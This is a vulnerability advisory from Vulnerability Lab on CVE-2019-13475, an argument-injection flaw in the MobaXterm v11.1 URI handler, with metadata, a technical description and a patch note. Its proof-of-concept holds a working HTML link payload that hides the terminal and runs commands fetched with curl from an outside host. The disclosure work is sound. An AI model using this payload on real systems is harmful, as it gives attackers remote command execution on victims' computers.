Share
## https://sploitus.com/exploit?id=VULNERLAB:2186
Document Title:
===============
Mobatek MobaXterm v11.1 - Code Execution Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2186
Video: https://www.youtube.com/watch?v=Oz0rCBuRKrY
Refernce(s):
https://download.mobatek.net/1112019010310554/MobaXterm_Installer_v11.1.zip
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13475
CVE-ID:
=======
CVE-2019-13475
Release Date:
=============
2019-07-08
Vulnerability Laboratory ID (VL-ID):
====================================
2186
Common Vulnerability Scoring System:
====================================
8.1
Vulnerability Class:
====================
Code Execution
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
MobaXterm is your ultimate toolbox for remote computing. In a single Windows application, it provides loads of functions that
are tailored for programmers, webmasters, IT administrators and pretty much all users who need to handle their remote jobs in
a more simple fashion. MobaXterm provides all the important remote network tools (SSH, X11, RDP, VNC, FTP, MOSH, ...) and Unix
commands (bash, ls, cat, sed, grep, awk, rsync,) to Windows desktop, in a single portable exe file which works out of the box.
(Copy of the Homepage: https://mobaxterm.mobatek.net/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote code execution vulnerability in the Mobatek MobaXterm v11.1 software.
Vulnerability Disclosure Timeline:
==================================
2019-07-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
The URI handler of MobaXterm (mobaxterm:) has an argument injection vulnerability that allows remote attackers to
execute arbitrary commands when the user visits a specially crafted URL. Based on the available command line arguments
of the software, one can simply inject `-exec` to execute arbitrary commands. The additional arguments `-hideterm` and
`-exitwhendone` in the payload allow the attack become less visible. Successful exploitation of the arbitrary code
execution vulnerability results in unauthorized execution of malicious code on the affected web-server system.
Proof of Concept (PoC):
=======================
The vulnerability could be triggered by visiting a specially crafted URL.
To reproduce the vulnerability, one could simply create a .url file or open the URL using certain Windows Apps like Outlook for Windows.
PoC: Exploitation
<a href='mobaxterm:" -hideterm -exitwhendone -exec "$(curl poc.mm2.in)'>Connect with MobaXterm</a>
PoC: Video
https://www.youtube.com/watch?v=Oz0rCBuRKrY
Solution - Fix & Patch:
=======================
The manufacturer is preparing a update for the future versions 12.0 or 12.1 by putting warnings at each execution of MobaXterm,
when it is started using an URL.
Please update the software and version as soon as the update becomes available on the webpage of the product manufacturer.
Security Risk:
==============
The security risk of the remote code execution vulnerability in the mobdaxterm application is estimated as high.
Credits & Authors:
==================
Ping Fan (Zetta) Ke [ozetta@vxrl.org]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2019 | Vulnerability Laboratory - [Evolution Security GmbH]™